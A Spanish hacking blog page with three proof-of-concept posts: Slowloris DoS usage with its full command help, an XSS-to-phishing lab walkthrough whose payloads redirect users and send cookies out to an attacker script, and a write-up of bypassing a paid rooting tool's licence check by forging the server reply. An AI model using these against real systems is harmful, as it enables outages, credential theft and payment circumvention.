Mostrando entradas con la etiqueta PoC. Mostrar todas las entradas
Mostrando entradas con la etiqueta PoC. Mostrar todas las entradas

lunes, 11 de julio de 2016

DoS con Slowloris.pl

Buenas hackers en esta PoC, os muestro esta genial herramienta que permite realizar un ataque de denegación de servicio a un servidor Linux. Esto genera que ese servicio sea inaccesible a los usuarios legítimos. En este caso mantiene conexiones abiertas el máximo tiempo posible a base del envío de peticiones http a una tasa de datos muy baja.. Para esta prueba de concepto se realizará en un entorno virtualizado controlado, usando una máquina atacante Kali Linux y un servidor Ubuntu como víctima.


Slowloris.pl esta escrita en perl y disponible en Github


Requirimientos y los pasos a seguir

 
How use Slowloris

Requirements:
# sudo apt-get update  
# sudo apt-get install perl
# sudo apt-get install libwww-mechanize-shell-perl
# sudo apt-get install perl-mechanize


1)Download slowloris.pl
2)Open Terminal
2)# cd /thePathToYourSlowloris.plFile
3)# ./slowloris.pl
4)# perl slowloris.pl -dns (Victim URL or IP) -options



Done


Laera Loris"

Documento de ayuda

 
TITLE
    Slowloris

VERSION
    Version 0.7 Beta

DATE
    06/17/2009

AUTHOR
    RSnake <h@ckers.org> with threading from John Kinsella

ABSTRACT
    Slowloris both helps identify the timeout windows of a HTTP server or
    Proxy server, can bypass httpready protection and ultimately performs a
    fairly low bandwidth denial of service. It has the added benefit of
    allowing the server to come back at any time (once the program is killed),
    and not spamming the logs excessively. It also keeps the load nice and low
    on the target server, so other vital processes don't die unexpectedly, or
    cause alarm to anyone who is logged into the server for other reasons.

AFFECTS
    Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others...?

NOT AFFECTED
    IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others...?

DESCRIPTION
    Slowloris is designed so that a single machine (probably a Linux/UNIX
    machine since Windows appears to limit how many sockets you can have open
    at any given time) can easily tie up a typical web server or proxy server
    by locking up all of it's threads as they patiently wait for more data.
    Some servers may have a smaller tolerance for timeouts than others, but
    Slowloris can compensate for that by customizing the timeouts. There is an
    added function to help you get started with finding the right sized
    timeouts as well.

    As a side note, Slowloris does not consume a lot of resources so modern
    operating systems don't have a need to start shutting down sockets when
    they come under attack, which actually in turn makes Slowloris better than
    a typical flooder in certain circumstances. Think of Slowloris as the HTTP
    equivalent of a SYN flood.

  Testing
    If the timeouts are completely unknown, Slowloris comes with a mode to
    help you get started in your testing:

   Testing Example:
    ./slowloris.pl -dns www.example.com -port 80 -test

    This won't give you a perfect number, but it should give you a pretty good
    guess as to where to shoot for. If you really must know the exact number,
    you may want to mess with the @times array (although I wouldn't suggest
    that unless you know what you're doing).
 
 HTTP DoS
    Once you find a timeout window, you can tune Slowloris to use certain
    timeout windows. For instance, if you know that the server has a timeout
    of 3000 seconds, but the the connection is fairly latent you may want to
    make the timeout window 2000 seconds and increase the TCP timeout to 5
    seconds. The following example uses 500 sockets. Most average Apache
    servers, for instance, tend to fall down between 400-600 sockets with a
    default configuration. Some are less than 300. The smaller the timeout the
    faster you will consume all the available resources as other sockets that
    are in use become available - this would be solved by threading, but
    that's for a future revision. The closer you can get to the exact number
    of sockets, the better, because that will reduce the amount of tries (and
    associated bandwidth) that Slowloris will make to be successful. Slowloris
    has no way to identify if it's successful or not though.

   HTTP DoS Example:
    ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto
    5

  HTTPReady Bypass
    HTTPReady only follows certain rules so with a switch Slowloris can bypass
    HTTPReady by sending the attack as a POST verses a GET or HEAD request
    with the -httpready switch.

   HTTPReady Bypass Example
    ./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto
    5 -httpready
 
  Stealth Host DoS
    If you know the server has multiple webservers running on it in virtual
    hosts, you can send the attack to a seperate virtual host using the -shost
    variable. This way the logs that are created will go to a different
    virtual host log file, but only if they are kept separately.

   Stealth Host DoS Example:
    ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1
    -shost www.virtualhost.com

  HTTPS DoS
    Slowloris does support SSL/TLS on an experimental basis with the -https
    switch. The usefulness of this particular option has not been thoroughly
    tested, and in fact has not proved to be particularly effective in the
    very few tests I performed during the early phases of development. Your
    mileage may vary.

   HTTPS DoS Example:
    ./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https

  HTTP Cache
    Slowloris does support cache avoidance on an experimental basis with the
    -cache switch. Some caching servers may look at the request path part of
    the header, but by sending different requests each time you can abuse more
    resources. The usefulness of this particular option has not been
    thoroughly tested. Your mileage may vary.

   HTTP Cache Example:
    ./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache

Issues
    Slowloris is known to not work on several servers found in the NOT
    AFFECTED section above and through Netscalar devices, in it's current
    incarnation. They may be ways around this, but not in this version at this
    time. Most likely most anti-DDoS and load balancers won't be thwarted by
    Slowloris, unless Slowloris is extremely distrubted, although only
    Netscalar has been tested.

    Slowloris isn't completely quiet either, because it can't be. Firstly, it
    does send out quite a few packets (although far far less than a typical
    GET request flooder). So it's not invisible if the traffic to the site is
    typically fairly low. On higher traffic sites it will unlikely that it is
    noticed in the log files - although you may have trouble taking down a
    larger site with just one machine, depending on their architecture.

    For some reason Slowloris works way better if run from a *Nix box than
    from Windows. I would guess that it's probably to do with the fact that
    Windows limits the amount of open sockets you can have at once to a fairly
    small number. If you find that you can't open any more ports than ~130 or
    so on any server you test - you're probably running into this "feature" of
    modern operating systems. Either way, this program seems to work best if
    run from FreeBSD.

    Once you stop the DoS all the sockets will naturally close with a flurry
    of RST and FIN packets, at which time the web server or proxy server will
    write to it's logs with a lot of 400 (Bad Request) errors. So while the
    sockets remain open, you won't be in the logs, but once the sockets close
    you'll have quite a few entries all lined up next to one another. You will
    probably be easy to find if anyone is looking at their logs at that point
    - although the DoS will be over by that point too.

What is a slow loris?
    What exactly is a slow loris? It's an extremely cute but endangered mammal
    that happens to also be poisonous. Check this out:

    http://www.youtube.com/watch?v=rLdQ3UhLoD4
 

Proof of concept 


Un saludo Naivenom

miércoles, 6 de julio de 2016

PoC: Phishing manual explotando un XSS

Buenas compañeros,

Hace un tiempo que no he podido publicar pero uno también tiene que atender sus responsabilidades =D como se suele decir, lo bueno se hace de rogar.

En el blog ya tenemos un par de pruebas de concepto de cómo montar un phishing, ya sea SET o con el framework phishing frenzy todo empleando software especializado. En este post, se va aprovechar una vulnerabilidad de XSS para desarrollar un phishing.

Para ello, como siempre se va a emplear un escenario controlado, ya sabéis hay jugar pero sin meterse en líos. En este caso, se ha empleado la aplicación web WackoPicko, que se encuentran dentro del proyecto OWASP Broken Web APP

Se trata de la típica aplicación que nos podemos encontrar que tiene un buscador de productos. Normalmente cuando veamos algo así, nos entra mono de probar si puede ser vulnerable a un XSS o SQL Injection,pues vamos a ello!

En la barra de buscador se podría intentar incrustar código script. Como prueba de concepto para detectar si el sitio web es vulnerable se introduce el típico código:

<script>alert(“XSS”)</script>




Verificando que es vulnerable, se podría incrustar un XSS persistente, de tal manera, que un usuario legítimo de la aplicación se podría conectar o si ya estuviera autenticado (sería demasiado bueno) y se le redirige a una página idéntica en la que se le indica que se ha producido un error y se tiene que volver a loguear, es decir, implementar un phishing aprovechando una vulnerabilidad de XSS.

Entonces por partes, en primer lugar, insertarmos el código del XSS persistente:


'><script>document.location="http://172.16.1.2/login.html";</script>


A continuación el código del HTML (login.html) que se basa en copiar el código pero no nos descargamos las fuentes sino que las llamamos mediante peticiones.


De tal manera, que el usuario que se vaya al buscador, se le redirige a la página del phishing:




En el fichero HTML (login.html), se está recogiendo las fuentes de la página inicial lo cual tiene dos implicaciones, una de rendimiento que es muy óptimo la página no tarda nada en cargarse, lo cual no levanta sospechosas al usuario, mientras que la segunda desde el punto de vista de la seguridad no es adecuada hacer peticiones a los recursos de un sitio web si estás tratando de usurparlo, esta actividad levanta muchas sospechas.


Se  ha creado el fichero login.html pues ahí se encuentra cargado el servidor Apache y el intérprete de PHP.

Lo que se pretende con este phishing es dos objetivos:

- Robo de credenciales.
- Robo de cookies de usuarios autenticados.

Es posible que algún usuario se encuentra autenticado y al entrar en el buscador directamente nos podemos hacer con su cookie sin necesidad de que introduzca sus credenciales.

Para ello, se crean dos pequeños scripts:

- takelogin.php
- takecookie.php

En el panel de login, en el form se llama mediante el action POST al fichero takelogin.php





Recoge el username y password. Para que no sea visible para la víctima potencial se emplea la función header y se incluye la dirección “verdadera” para que se autentique de nuevo.

En la siguiente captura se observan las peticiones ambos scripts:


Es importante crear manualmente el fichero de texto dónde se van a guardar y sobretodo darle permisos (chmod 777 login.txt). 

Y como se ve en el fichero .txt tenemos los credenciales:


Una vez autenticado, se redirige a la página oficial indicando que los datos introducidos son incorrectos:


Para la recogida de cookies en el propio fichero de login.html se incluye el siguiente código JavaScript:

document.write("<img width='0px' height'0px' src='http://localhost/takecookie.php?cookie=" + document.cookie +  "'>");

En este se aprovecha el tag de una imagen para incluir una llamada a takecookie.php que recoge la cookie.

El código del script takelogin.php es:



Viendo el fichero de las cookies:



Con el valor de estas cookies, se intentaría usar para loguearse empleado una sesión activa de un usuario, ya sabéis empleando un proxy interceptador.

Y esto es todo, espero que os haya molado ver como aprovechando una vulnerabilidad de XSS se puede montar un phishing de manera manual. Para que luego digan que las vulnerabilidades de XSS son sólo para poner un alert o un defacement =D

Ya sabéis para cualquier ayuda, sugerencia, queja o agradecimiento ahí están los comentarios, usadlos! y estaré encantado de responderlos.

Esta entrada está destinada a fines académicos en entornos controlados sin suponer sin ningún impacto. No nos hacemos responsables de uso para otros fines.

Saludos.

La mejor defensa es un buen ataque.

NaxHack5

viernes, 17 de junio de 2016

Una PoC con sabor agrio :)

Buenas hackers! Os traigo una PoC realizada por @ShargonXL


Proof of Concept



Necesitaba por motivos de trabajo rootear una tablet del curro, pero por vagueza vi, esta web que te lo hacían solo con un click, por no descargarme el Odin...

 


Al instalarlo vi que estaba en .Net (Yohoo ! ¿¿ estará ofuscado??)
 Después de detectar la tablet, me obligaba a registrarme y hacer un pago :(

En lugar de pagar, prefiero el odín, pero antes...vamos a ver que se ve en el ejecutable.... Todo estaba sin ofuscar! y pronto encontré donde se hacía el proceso de login con el servidor para verificar que se ha pagado.

Se puede ver que lo único que comprueba es el estado que se recibe del servidor (distinto a 204 - No content) y después deserializa (JSON) el contenido de la clase User, que decompilandola podemos ver como es :


Pues vamos a jugar a ver si fallo normal (con Fiddler abierto)

 

Si le mando un 204 , modificando la respuesta, me entra en el "if" donde se muestra el excedido
Y si falseo la respuesta de un usuario válido , serializado en json :)


Pues se lo traga, y me crea un archivo para no volver a logearme, y directamente inicia el proceso como si hubiera pagado!


Ahora se pone a conectar y rootear! :)

Y de aquí el título. El programa básicamente te dice que chatees con ellos para rootearlo, no se como seguirán apartir de aquí, supongo que 
te mandaran un odín para que lo hagas xD, pero básicamente, no lo rootea :(, así que ahí el título, un poco amarga, por que me toca ponerme a
hacerlo con el odín. La vagueza al final resultó en pérdida de tiempo, pero y lo bien que nos lo hemos pasado saltándonos el usuario :), eso no nos lo quita nadie!

Google Analytics